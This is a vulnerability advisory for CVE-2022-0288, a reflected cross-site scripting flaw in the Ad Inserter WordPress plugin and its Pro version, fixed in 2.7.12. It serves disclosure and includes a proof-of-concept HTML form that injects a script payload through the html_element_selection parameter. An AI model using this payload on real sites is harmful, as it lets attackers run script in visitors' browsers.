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Ad Inserter < 2.7.10 - Reflected Cross-Site Scripting

Description

The plugins do not sanitise and escape the html_element_selection parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting

Proof of Concept

<form action="https://example.com/" method="POST">
    <input type="text" name="html_element_selection" value="</script><img src onerror=alert(/XSS/)>">
    <input type="submit" value="Exploit me pls" />
</form> 

Affects Plugins

ad-inserter
Fixed in version 2.7.12
ad-inserter-pro
Fixed in version 2.7.12

References

CVE
CVE-2022-0288

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
27b64412-33a4-462c-bc45-f81697e4fe42

Timeline

Publicly Published

2022-01-24 (about 1 years ago)

Added

2022-01-24 (about 1 years ago)

Last Updated

2022-04-11 (about 9 months ago)

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